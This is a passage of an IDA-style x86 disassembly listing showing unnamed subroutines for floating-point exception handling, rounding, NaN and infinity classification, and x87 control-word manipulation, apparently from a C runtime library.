mov ebp, esp
cmp ds:dword_4386C8, 0
jnz short loc_419613
push [ebp+arg_C] ; int
fld qword ptr [ebp+arg_4]
push ecx
push ecx ; double
fstp [esp+0Ch+var_C]
push ecx ; int
push ecx ; int
fldz
fstp [esp+14h+var_14]
fld qword ptr [ebp+arg_4]
push ecx ; int
push ecx ; int
fstp [esp+1Ch+var_1C]
push [ebp+arg_0] ; int
push 1 ; int
call sub_419B93
add esp, 24h
pop ebp
retn
; ---------------------------------------------------------------------------
loc_419613: ; CODE XREF: sub_4195DE+Aj
push 0FFFFh
mov ds:dword_469474, 21h
push [ebp+arg_C]
call sub_419E06
fld qword ptr [ebp+arg_4]
pop ecx
pop ecx
pop ebp
retn
sub_4195DE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_419631(int,int,double,double,int)
sub_419631 proc near ; CODE XREF: sub_415E4C:loc_415F0Fp
; sub_415F93:loc_416056p
var_74 = qword ptr -74h
var_6C = qword ptr -6Ch
var_64 = qword ptr -64h
var_5C = dword ptr -5Ch
var_58 = byte ptr -58h
var_20 = dword ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = qword ptr 10h
arg_10 = qword ptr 18h
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 58h
push [ebp+arg_18]
lea eax, [ebp+arg_10]
push eax
push [ebp+arg_0]
call sub_41997C
add esp, 0Ch
test eax, eax
jnz short loc_41966F
lea eax, [ebp+arg_10]
and [ebp+var_20], 0FFFFFFFEh
push eax
lea eax, [ebp+arg_8]
push eax
lea eax, [ebp+arg_18]
push [ebp+arg_4]
push [ebp+arg_0]
push eax
lea eax, [ebp+var_58]
push eax
call sub_4196C9
add esp, 18h
loc_41966F: ; CODE XREF: sub_419631+1Aj
push [ebp+arg_0]
call sub_419C66
cmp ds:dword_4386C8, 0
pop ecx
jnz short loc_4196AD
test eax, eax
jz short loc_4196AD
push [ebp+arg_18] ; int
fld [ebp+arg_10]
push ecx
push ecx ; double
fstp [esp+64h+var_64]
push ecx ; int
push ecx ; int
fldz
fstp [esp+6Ch+var_6C]
fld [ebp+arg_8]
push ecx ; int
push ecx ; int
fstp [esp+74h+var_74]
push [ebp+arg_4] ; int
push eax ; int
call sub_419B93
add esp, 24h
leave
retn
; ---------------------------------------------------------------------------
loc_4196AD: ; CODE XREF: sub_419631+4Ej
; sub_419631+52j
push eax
call sub_419C1B
mov [esp+5Ch+var_5C], 0FFFFh
push [ebp+arg_18]
call sub_419E06
fld [ebp+arg_10]
pop ecx
pop ecx
leave
retn
sub_419631 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4196C9 proc near ; CODE XREF: sub_419631+36p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
mov ecx, [ebp+arg_0]
xor eax, eax
push ebx
push esi
mov [ecx+4], eax
mov ecx, [ebp+arg_0]
push edi
push 1
mov [ecx+8], eax
mov ecx, [ebp+arg_0]
pop ebx
mov [ecx+0Ch], eax
mov cl, byte ptr [ebp+arg_8]
test cl, 10h
jz short loc_4196FB
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C000008Fh
or [eax+4], ebx
loc_4196FB: ; CODE XREF: sub_4196C9+23j
test cl, 2
jz short loc_41970E
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C0000093h
or dword ptr [eax+4], 2
loc_41970E: ; CODE XREF: sub_4196C9+35j
test cl, bl
jz short loc_419720
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C0000091h
or dword ptr [eax+4], 4
loc_419720: ; CODE XREF: sub_4196C9+47j
test cl, 4
jz short loc_419733
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C000008Eh
or dword ptr [eax+4], 8
loc_419733: ; CODE XREF: sub_4196C9+5Aj
test cl, 8
jz short loc_419746
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C0000090h
or dword ptr [eax+4], 10h
loc_419746: ; CODE XREF: sub_4196C9+6Dj
mov esi, [ebp+arg_4]
mov eax, [ebp+arg_0]
push 2
mov ecx, [esi]
mov edx, [eax+8]
not ecx
and ecx, ebx
and edx, 0FFFFFFEFh
shl ecx, 4
or ecx, edx
pop edi
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
and ecx, 4
shl ecx, 1
and edx, 0FFFFFFF7h
or ecx, edx
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
shr ecx, 1
and ecx, 4
and edx, 0FFFFFFFBh
or ecx, edx
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
shr ecx, 3
and ecx, edi
and edx, 0FFFFFFFDh
or ecx, edx
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
shr ecx, 5
and ecx, ebx
and edx, 0FFFFFFFEh
or ecx, edx
mov [eax+8], ecx
call sub_419DE9
test al, bl
jz short loc_4197CF
mov ecx, [ebp+arg_0]
or dword ptr [ecx+0Ch], 10h
loc_4197CF: ; CODE XREF: sub_4196C9+FDj
test al, 4
jz short loc_4197DA
mov ecx, [ebp+arg_0]
or dword ptr [ecx+0Ch], 8
loc_4197DA: ; CODE XREF: sub_4196C9+108j
test al, 8
jz short loc_4197E5
mov ecx, [ebp+arg_0]
or dword ptr [ecx+0Ch], 4
loc_4197E5: ; CODE XREF: sub_4196C9+113j
test al, 10h
jz short loc_4197EF
mov ecx, [ebp+arg_0]
or [ecx+0Ch], edi
loc_4197EF: ; CODE XREF: sub_4196C9+11Ej
test al, 20h
jz short loc_4197F9
mov eax, [ebp+arg_0]
or [eax+0Ch], ebx
loc_4197F9: ; CODE XREF: sub_4196C9+128j
mov eax, [esi]
mov ecx, 0C00h
and eax, ecx
jz short loc_419838
cmp eax, 400h
jz short loc_41982A
cmp eax, 800h
jz short loc_41981E
cmp eax, ecx
jnz short loc_41983E
mov eax, [ebp+arg_0]
or dword ptr [eax], 3
jmp short loc_41983E
; ---------------------------------------------------------------------------
loc_41981E: ; CODE XREF: sub_4196C9+147j
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFFEh
or ecx, edi
jmp short loc_419834
; ---------------------------------------------------------------------------
loc_41982A: ; CODE XREF: sub_4196C9+140j
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFFDh
or ecx, ebx
loc_419834: ; CODE XREF: sub_4196C9+15Fj
mov [eax], ecx
jmp short loc_41983E
; ---------------------------------------------------------------------------
loc_419838: ; CODE XREF: sub_4196C9+139j
mov eax, [ebp+arg_0]
and dword ptr [eax], 0FFFFFFFCh
loc_41983E: ; CODE XREF: sub_4196C9+14Bj
; sub_4196C9+153j ...
mov eax, [esi]
mov ecx, 300h
and eax, ecx
jz short loc_419869
cmp eax, 200h
jz short loc_41985C
cmp eax, ecx
jnz short loc_419876
mov eax, [ebp+arg_0]
and dword ptr [eax], 0FFFFFFE3h
jmp short loc_419876
; ---------------------------------------------------------------------------
loc_41985C: ; CODE XREF: sub_4196C9+185j
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFE7h
or ecx, 4
jmp short loc_419874
; ---------------------------------------------------------------------------
loc_419869: ; CODE XREF: sub_4196C9+17Ej
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFEBh
or ecx, 8
loc_419874: ; CODE XREF: sub_4196C9+19Ej
mov [eax], ecx
loc_419876: ; CODE XREF: sub_4196C9+189j
; sub_4196C9+191j
mov eax, [ebp+arg_0]
mov ecx, [ebp+arg_C]
and ecx, 0FFFh
mov edx, [eax]
shl ecx, 5
and edx, 0FFFE001Fh
or ecx, edx
mov [eax], ecx
mov eax, [ebp+arg_0]
or [eax+20h], ebx
mov eax, [ebp+arg_0]
mov ecx, [eax+20h]
and ecx, 0FFFFFFE3h
or ecx, edi
mov [eax+20h], ecx
mov eax, [ebp+arg_10]
fld qword ptr [eax]
mov eax, [ebp+arg_0]
fstp qword ptr [eax+10h]
mov eax, [ebp+arg_0]
or [eax+50h], ebx
mov eax, [ebp+arg_0]
mov ecx, [eax+50h]
and ecx, 0FFFFFFE3h
or ecx, edi
mov edi, [ebp+arg_14]
mov [eax+50h], ecx
mov eax, [ebp+arg_0]
fld qword ptr [edi]
fstp qword ptr [eax+40h]
call sub_419DF7
lea eax, [ebp+arg_0]
push eax
push ebx
push 0
push [ebp+arg_8]
call ds:dword_421184 ; RaiseException
mov eax, [ebp+arg_0]
test byte ptr [eax+8], 10h
jz short loc_4198F0
and dword ptr [esi], 0FFFFFFFEh
loc_4198F0: ; CODE XREF: sub_4196C9+222j
test byte ptr [eax+8], 8
jz short loc_4198F9
and dword ptr [esi], 0FFFFFFFBh
loc_4198F9: ; CODE XREF: sub_4196C9+22Bj
test byte ptr [eax+8], 4
jz short loc_419902
and dword ptr [esi], 0FFFFFFF7h
loc_419902: ; CODE XREF: sub_4196C9+234j
test byte ptr [eax+8], 2
jz short loc_41990B
and dword ptr [esi], 0FFFFFFEFh
loc_41990B: ; CODE XREF: sub_4196C9+23Dj
test [eax+8], bl
jz short loc_419913
and dword ptr [esi], 0FFFFFFDFh
loc_419913: ; CODE XREF: sub_4196C9+245j
mov ecx, [eax]
mov edx, 0FFFFF3FFh
and ecx, 3
sub ecx, 0
jz short loc_419947
dec ecx
jz short loc_41993B
dec ecx
jz short loc_419931
dec ecx
jnz short loc_419949
or byte ptr [esi+1], 0Ch
jmp short loc_419949
; ---------------------------------------------------------------------------
loc_419931: ; CODE XREF: sub_4196C9+25Dj
mov ecx, [esi]
and ch, 0FBh
or ch, 8
jmp short loc_419943
; ---------------------------------------------------------------------------
loc_41993B: ; CODE XREF: sub_4196C9+25Aj
mov ecx, [esi]
and ch, 0F7h
or ch, 4
loc_419943: ; CODE XREF: sub_4196C9+270j
mov [esi], ecx
jmp short loc_419949
; ---------------------------------------------------------------------------
loc_419947: ; CODE XREF: sub_4196C9+257j
and [esi], edx
loc_419949: ; CODE XREF: sub_4196C9+260j
; sub_4196C9+266j ...
mov ecx, [eax]
shr ecx, 2
and ecx, 7
sub ecx, 0
jz short loc_419969
dec ecx
jz short loc_419960
dec ecx
jnz short loc_419972
and [esi], edx
jmp short loc_419972
; ---------------------------------------------------------------------------
loc_419960: ; CODE XREF: sub_4196C9+28Ej
mov ecx, [esi]
and ecx, edx
or ch, 2
jmp short loc_419970
; ---------------------------------------------------------------------------
loc_419969: ; CODE XREF: sub_4196C9+28Bj
mov ecx, [esi]
and ecx, edx
or ch, 3
loc_419970: ; CODE XREF: sub_4196C9+29Ej
mov [esi], ecx
loc_419972: ; CODE XREF: sub_4196C9+291j
; sub_4196C9+295j
fld qword ptr [eax+40h]
fstp qword ptr [edi]
pop edi
pop esi
pop ebx
pop ebp
retn
sub_4196C9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41997C proc near ; CODE XREF: sub_419631+10p
var_24 = qword ptr -24h
var_C = qword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_0]
push ebx
push edi
mov edi, eax
and edi, 1Fh
push 1
test al, 8
pop ebx
jz short loc_4199A7
test byte ptr [ebp+arg_8], bl
jz short loc_4199A7
push ebx
call sub_419E29
pop ecx
and edi, 0FFFFFFF7h
jmp loc_419B71
; ---------------------------------------------------------------------------
loc_4199A7: ; CODE XREF: sub_41997C+15j
; sub_41997C+1Aj
test al, 4
jz short loc_4199C1
test byte ptr [ebp+arg_8], 4
jz short loc_4199C1
push 4
call sub_419E29
pop ecx
and edi, 0FFFFFFFBh
jmp loc_419B71
; ---------------------------------------------------------------------------
loc_4199C1: ; CODE XREF: sub_41997C+2Dj
; sub_41997C+33j
test al, bl
jz loc_419A9B
test byte ptr [ebp+arg_8], 8
jz loc_419A9B
push 8
call sub_419E29
pop ecx
mov eax, 0C00h
mov ecx, [ebp+arg_8]
and ecx, eax
jz loc_419A73
cmp ecx, 400h
jz short loc_419A4B
cmp ecx, 800h
jz short loc_419A23
cmp ecx, eax
jnz loc_419A93
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp ds:dbl_4217B0
fld ds:dbl_438058
fnstsw ax
sahf
ja short loc_419A1B
fchs
loc_419A1B: ; CODE XREF: sub_41997C+9Bj
fstp [ebp+var_C]
fld [ebp+var_C]
jmp short loc_419A91
; ---------------------------------------------------------------------------
loc_419A23: ; CODE XREF: sub_41997C+7Dj
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp ds:dbl_4217B0
fnstsw ax
sahf
jbe short loc_419A3B
fld ds:dbl_438048
jmp short loc_419A43
; ---------------------------------------------------------------------------
loc_419A3B: ; CODE XREF: sub_41997C+B5j
fld ds:dbl_438058
fchs
loc_419A43: ; CODE XREF: sub_41997C+BDj
fstp [ebp+var_C]
fld [ebp+var_C]
jmp short loc_419A91
; ---------------------------------------------------------------------------
loc_419A4B: ; CODE XREF: sub_41997C+75j
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp ds:dbl_4217B0
fnstsw ax
sahf
jbe short loc_419A63
fld ds:dbl_438058
jmp short loc_419A6B
; ---------------------------------------------------------------------------
loc_419A63: ; CODE XREF: sub_41997C+DDj
fld ds:dbl_438048
fchs
loc_419A6B: ; CODE XREF: sub_41997C+E5j
fstp [ebp+var_C]
fld [ebp+var_C]
jmp short loc_419A91
; ---------------------------------------------------------------------------
loc_419A73: ; CODE XREF: sub_41997C+69j
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp ds:dbl_4217B0
fld ds:dbl_438048
fnstsw ax
sahf
ja short loc_419A8B
fchs
loc_419A8B: ; CODE XREF: sub_41997C+10Bj
fstp [ebp+var_C]
fld [ebp+var_C]
loc_419A91: ; CODE XREF: sub_41997C+A5j
; sub_41997C+CDj ...
fstp qword ptr [ecx]
loc_419A93: ; CODE XREF: sub_41997C+81j
and edi, 0FFFFFFFEh
jmp loc_419B71
; ---------------------------------------------------------------------------
loc_419A9B: ; CODE XREF: sub_41997C+47j
; sub_41997C+51j
test al, 2
jz loc_419B71
test byte ptr [ebp+arg_8], 10h
jz loc_419B71
push esi
xor esi, esi
test al, 10h
jz short loc_419AB6
mov esi, ebx
loc_419AB6: ; CODE XREF: sub_41997C+136j
mov eax, [ebp+arg_4]
fld qword ptr [eax]
fstp [ebp+var_C]
fld [ebp+var_C]
fcomp ds:dbl_4217B0
fnstsw ax
sahf
jz loc_419B5F
fld [ebp+var_C]
lea eax, [ebp+var_4]
push eax ; int
push ecx
push ecx ; double
fstp [esp+24h+var_24]
call sub_419D28
mov eax, [ebp+var_4]
add esp, 0Ch
fstp [ebp+var_C]
lea ecx, [eax-600h]
cmp ecx, 0FFFFFBCEh
jge short loc_419B01
fldz
mov esi, ebx
fstp [ebp+var_C]
jmp short loc_419B55
; ---------------------------------------------------------------------------
loc_419B01: ; CODE XREF: sub_41997C+17Aj
fld [ebp+var_C]
fcomp ds:dbl_4217B0
fnstsw ax
sahf
jnb short loc_419B13
mov edx, ebx
jmp short loc_419B15
; ---------------------------------------------------------------------------
loc_419B13: ; CODE XREF: sub_41997C+191j
xor edx, edx
loc_419B15: ; CODE XREF: sub_41997C+195j
mov al, byte ptr [ebp+var_C+6]
and eax, 0Fh
or al, 10h
mov word ptr [ebp+var_C+6], ax
mov eax, 0FFFFFC03h
cmp ecx, eax
jge short loc_419B49
sub eax, ecx
loc_419B2C: ; CODE XREF: sub_41997C+1CBj
test byte ptr [ebp+var_C], bl
jz short loc_419B37
test esi, esi
jnz short loc_419B37
mov esi, ebx
loc_419B37: ; CODE XREF: sub_41997C+1B3j
; sub_41997C+1B7j
shr dword ptr [ebp+var_C], 1
test byte ptr [ebp+var_C+4], bl
jz short loc_419B43
or byte ptr [ebp+var_C+3], 80h
loc_419B43: ; CODE XREF: sub_41997C+1C1j
shr dword ptr [ebp+var_C+4], 1
dec eax
jnz short loc_419B2C
loc_419B49: ; CODE XREF: sub_41997C+1ACj
test edx, edx
jz short loc_419B55
fld [ebp+var_C]
fchs
fstp [ebp+var_C]
loc_419B55: ; CODE XREF: sub_41997C+183j
; sub_41997C+1CFj
fld [ebp+var_C]
mov eax, [ebp+arg_4]
fstp qword ptr [eax]
jmp short loc_419B61
; ---------------------------------------------------------------------------
loc_419B5F: ; CODE XREF: sub_41997C+14Ej
mov esi, ebx
loc_419B61: ; CODE XREF: sub_41997C+1E1j
test esi, esi
pop esi
jz short loc_419B6E
push 10h
call sub_419E29
pop ecx
loc_419B6E: ; CODE XREF: sub_41997C+1E8j
and edi, 0FFFFFFFDh
loc_419B71: ; CODE XREF: sub_41997C+26j
; sub_41997C+40j ...
test byte ptr [ebp+arg_0], 10h
jz short loc_419B88
test byte ptr [ebp+arg_8], 20h
jz short loc_419B88
push 20h
call sub_419E29
pop ecx
and edi, 0FFFFFFEFh
loc_419B88: ; CODE XREF: sub_41997C+1F9j
; sub_41997C+1FFj
xor eax, eax
test edi, edi
pop edi
pop ebx
setz al
leave
retn
sub_41997C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_419B93(int,int,int,int,int,int,double,int)
sub_419B93 proc near ; CODE XREF: sub_4195DE+2Bp
; sub_419631+72p
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = qword ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = qword ptr 20h
arg_20 = dword ptr 28h
push ebp
mov ebp, esp
sub esp, 20h
push [ebp+arg_4]
call sub_419C41
test eax, eax
pop ecx
mov [ebp+var_1C], eax
jz short loc_419BFE
mov eax, [ebp+arg_8]
push esi
mov [ebp+var_18], eax
mov eax, [ebp+arg_C]
mov [ebp+var_14], eax
mov eax, [ebp+arg_10]
mov esi, [ebp+arg_0]
mov [ebp+var_10], eax
mov eax, [ebp+arg_14]
push 0FFFFh
push [ebp+arg_20]
mov [ebp+var_C], eax
mov eax, dword ptr [ebp+arg_18]
mov [ebp+var_20], esi
mov dword ptr [ebp+var_8], eax
mov eax, dword ptr [ebp+arg_18+4]
mov dword ptr [ebp+var_8+4], eax
call sub_419E06
lea eax, [ebp+var_20]
push eax
call sub_41D7F3
add esp, 0Ch
test eax, eax
jnz short loc_419BF8
push esi
call sub_419C1B
pop ecx
loc_419BF8: ; CODE XREF: sub_419B93+5Cj
fld [ebp+var_8]
pop esi
leave
retn
; ---------------------------------------------------------------------------
loc_419BFE: ; CODE XREF: sub_419B93+14j
push 0FFFFh
push [ebp+arg_20]
call sub_419E06
push [ebp+arg_0]
call sub_419C1B
fld [ebp+arg_18]
add esp, 0Ch
leave
retn
sub_419B93 endp
; =============== S U B R O U T I N E =======================================
sub_419C1B proc near ; CODE XREF: sub_419631+7Dp
; sub_419B93+5Fp ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, 1
jz short loc_419C36
jle short locret_419C40
cmp eax, 3
jg short locret_419C40
mov ds:dword_469474, 22h
retn
; ---------------------------------------------------------------------------
loc_419C36: ; CODE XREF: sub_419C1B+7j
mov ds:dword_469474, 21h
locret_419C40: ; CODE XREF: sub_419C1B+9j
; sub_419C1B+Ej
retn
sub_419C1B endp
; =============== S U B R O U T I N E =======================================
sub_419C41 proc near ; CODE XREF: sub_419B93+9p
arg_0 = dword ptr 4
xor ecx, ecx
mov eax, offset dword_437F70
loc_419C48: ; CODE XREF: sub_419C41+18j
mov edx, [eax]
cmp edx, [esp+arg_0]
jz short loc_419C5E
add eax, 8
inc ecx
cmp eax, offset dbl_438048
jl short loc_419C48
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_419C5E: ; CODE XREF: sub_419C41+Dj
mov eax, ds:off_437F74[ecx*8]
retn
sub_419C41 endp
; =============== S U B R O U T I N E =======================================
sub_419C66 proc near ; CODE XREF: sub_419631+41p
arg_0 = byte ptr 4
mov al, [esp+arg_0]
test al, 20h
jz short loc_419C72
push 5
jmp short loc_419C88
; ---------------------------------------------------------------------------
loc_419C72: ; CODE XREF: sub_419C66+6j
test al, 8
jz short loc_419C7A
push 1
jmp short loc_419C88
; ---------------------------------------------------------------------------
loc_419C7A: ; CODE XREF: sub_419C66+Ej
test al, 4
jz short loc_419C82
push 2
jmp short loc_419C88
; ---------------------------------------------------------------------------
loc_419C82: ; CODE XREF: sub_419C66+16j
test al, 1
jz short loc_419C8A
push 3
loc_419C88: ; CODE XREF: sub_419C66+Aj
; sub_419C66+12j ...
pop eax
retn
; ---------------------------------------------------------------------------
loc_419C8A: ; CODE XREF: sub_419C66+1Ej
movzx eax, al
and eax, 2
shl eax, 1
retn
sub_419C66 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_419C93(double)
sub_419C93 proc near ; CODE XREF: sub_415E4C:loc_415ED2p
; sub_415F93:loc_416019p
var_8 = qword ptr -8
arg_0 = qword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
fld [ebp+arg_0]
frndint
fstp [ebp+var_8]
fld [ebp+var_8]
leave
retn
sub_419C93 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_419CA5(double,int)
sub_419CA5 proc near ; CODE XREF: sub_419D28+82p
; sub_419D28+98p
var_8 = qword ptr -8
arg_0 = qword ptr 8
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_8]
mov ecx, [ebp+0Eh]
fld [ebp+arg_0]
add eax, 3FEh
and cx, 800Fh
fstp [ebp+var_8]
shl eax, 4
or eax, ecx
mov word ptr [ebp+var_8+6], ax
fld [ebp+var_8]
leave
retn
sub_419CA5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419CCE proc near ; CODE XREF: sub_415E4C+31p
; sub_415F93+31p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
xor edx, edx
cmp [ebp+arg_4], 7FF00000h
jnz short loc_419CE5
cmp [ebp+arg_0], edx
jnz short loc_419CF7
push 1
jmp short loc_419D21
; ---------------------------------------------------------------------------
loc_419CE5: ; CODE XREF: sub_419CCE+Cj
cmp [ebp+arg_4], 0FFF00000h
jnz short loc_419CF7
cmp [ebp+arg_0], edx
jnz short loc_419CF7
push 2
jmp short loc_419D21
; ---------------------------------------------------------------------------
loc_419CF7: ; CODE XREF: sub_419CCE+11j
; sub_419CCE+1Ej ...
mov ecx, [ebp+arg_4+2]
mov eax, 7FF8h
and ecx, eax
cmp cx, ax
jnz short loc_419D0A
push 3
jmp short loc_419D21
; ---------------------------------------------------------------------------
loc_419D0A: ; CODE XREF: sub_419CCE+36j
cmp cx, 7FF0h
jnz short loc_419D24
test [ebp+arg_4], 7FFFFh
jnz short loc_419D1F
cmp [ebp+arg_0], edx
jz short loc_419D24
loc_419D1F: ; CODE XREF: sub_419CCE+4Aj
push 4
loc_419D21: ; CODE XREF: sub_419CCE+15j
; sub_419CCE+27j ...
pop eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_419D24: ; CODE XREF: sub_419CCE+41j
; sub_419CCE+4Fj
xor eax, eax
pop ebp
retn
sub_419CCE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_419D28(double,int)
sub_419D28 proc near ; CODE XREF: sub_41997C+160p
var_18 = qword ptr -18h
var_8 = qword ptr -8
arg_0 = qword ptr 8
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
fld [ebp+arg_0]
fcomp ds:dbl_4217B0
push esi
fnstsw ax
sahf
jnz short loc_419D48
fldz
xor esi, esi
fstp [ebp+var_8]
jmp loc_419DDE
; ---------------------------------------------------------------------------
loc_419D48: ; CODE XREF: sub_419D28+12j
xor ecx, ecx
test word ptr [ebp+arg_0+6], 7FF0h
jnz short loc_419DB7
test dword ptr [ebp+arg_0+4], 0FFFFFh
jnz short loc_419D60
cmp dword ptr [ebp+arg_0], ecx
jz short loc_419DB7
loc_419D60: ; CODE XREF: sub_419D28+31j
fld [ebp+arg_0]
fcomp ds:dbl_4217B0
mov esi, 0FFFFFC03h
fnstsw ax
sahf
jnb short loc_419D78
push 1
pop eax
jmp short loc_419D7A
; ---------------------------------------------------------------------------
loc_419D78: ; CODE XREF: sub_419D28+49j
xor eax, eax
loc_419D7A: ; CODE XREF: sub_419D28+4Ej
; sub_419D28+69j
test byte ptr [ebp+arg_0+6], 10h
jnz short loc_419D93
shl dword ptr [ebp+arg_0+4], 1
test byte ptr [ebp+arg_0+3], 80h
jz short loc_419D8D
or dword ptr [ebp+arg_0+4], 1
loc_419D8D: ; CODE XREF: sub_419D28+5Fj
shl dword ptr [ebp+arg_0], 1
dec esi
jmp short loc_419D7A
; ---------------------------------------------------------------------------
loc_419D93: ; CODE XREF: sub_419D28+56j
and word ptr [ebp+arg_0+6], 0FFEFh
cmp eax, ecx
jz short loc_419DA1
or byte ptr [ebp+arg_0+7], 80h
loc_419DA1: ; CODE XREF: sub_419D28+73j
fld [ebp+arg_0]
push ecx ; int
push ecx
push ecx ; double
fstp [esp+18h+var_18]
call sub_419CA5
fstp [ebp+var_8]
add esp, 0Ch
jmp short loc_419DDE
; ---------------------------------------------------------------------------
loc_419DB7: ; CODE XREF: sub_419D28+28j
; sub_419D28+36j
fld [ebp+arg_0]
push ecx ; int
push ecx
push ecx ; double
fstp [esp+18h+var_18]
call sub_419CA5
mov eax, dword ptr [ebp+arg_0+6]
add esp, 0Ch
fstp [ebp+var_8]
shr eax, 4
and ax, 7FFh
movsx esi, ax
sub esi, 3FEh
loc_419DDE: ; CODE XREF: sub_419D28+1Bj
; sub_419D28+8Dj
mov eax, [ebp+arg_8]
fld [ebp+var_8]
mov [eax], esi
pop esi
leave
retn
sub_419D28 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419DE9 proc near ; CODE XREF: sub_4196C9+F6p
var_2 = word ptr -2
push ebp
mov ebp, esp
push ecx
fstsw [ebp+var_2]
movsx eax, [ebp+var_2]
leave
retn
sub_419DE9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419DF7 proc near ; CODE XREF: sub_4196C9+206p
var_2 = word ptr -2
push ebp
mov ebp, esp
push ecx
fnstsw [ebp+var_2]
fnclex
movsx eax, [ebp+var_2]
leave
retn
sub_419DF7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419E06 proc near ; CODE XREF: sub_415E4C+13p
; sub_415E4C+5Dp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
fstcw word ptr [ebp+var_4]
mov eax, [ebp+arg_4]
mov ecx, eax
and eax, [ebp+arg_0]
not ecx
and ecx, [ebp+var_4]
or ecx, eax
mov [ebp+arg_4], ecx
fldcw word ptr [ebp+arg_4]
movsx eax, word ptr [ebp+var_4]
leave
retn
sub_419E06 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419E29 proc near ; CODE XREF: sub_41997C+1Dp
; sub_41997C+37p ...
var_8 = qword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov cl, byte ptr [ebp+arg_0]
test cl, 1
jz short loc_419E40
fld ds:tbyte_438070
fistp [ebp+arg_0]
wait
loc_419E40: ; CODE XREF: sub_419E29+Bj
test cl, 8
jz short loc_419E55
fstsw ax
fld ds:tbyte_438070
fstp [ebp+var_8]
wait
fstsw ax
loc_419E55: ; CODE XREF: sub_419E29+1Aj
test cl, 10h
jz short loc_419E64
fld ds:tbyte_43807C
fstp [ebp+var_8]
wait
loc_419E64: ; CODE XREF: sub_419E29+2Fj
test cl, 4
jz short loc_419E72
fldz
fld1
fdivrp st(1), st
fstp st
wait
loc_419E72: ; CODE XREF: sub_419E29+3Ej
test cl, 20h
jz short locret_419E7D
fldpi
fstp [ebp+var_8]
wait
locret_419E7D: ; CODE XREF: sub_419E29+4Cj
leave
retn
sub_419E29 endp
; =============== S U B R O U T I N E =======================================
sub_419E7F proc near ; CODE XREF: sub_415F1B+Fp
push 30000h
push 10000h
call sub_41D82B
pop ecx
pop ecx
retn
sub_419E7F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419E91 proc near ; CODE XREF: sub_419ECF:loc_419EF3j
var_18 = qword ptr -18h
var_10 = qword ptr -10h
var_8 = qword ptr -8
push ebp
mov ebp, esp
sub esp, 18h
fld ds:dbl_4217C0
fstp [ebp+var_8]
fld ds:dbl_4217B8
fstp [ebp+var_10]
fld [ebp+var_10]
fdiv [ebp+var_8]
fmul [ebp+var_8]
fsubr [ebp+var_10]
fstp [ebp+var_18]
fld [ebp+var_18]
fcomp ds:dbl_421670
fnstsw ax
sahf
jbe short loc_419ECB
push 1
pop eax
leave
retn
; ---------------------------------------------------------------------------
loc_419ECB: ; CODE XREF: sub_419E91+33j
xor eax, eax
leave
retn
sub_419E91 endp
; =============== S U B R O U T I N E =======================================
sub_419ECF proc near ; CODE XREF: sub_415F1B+5p
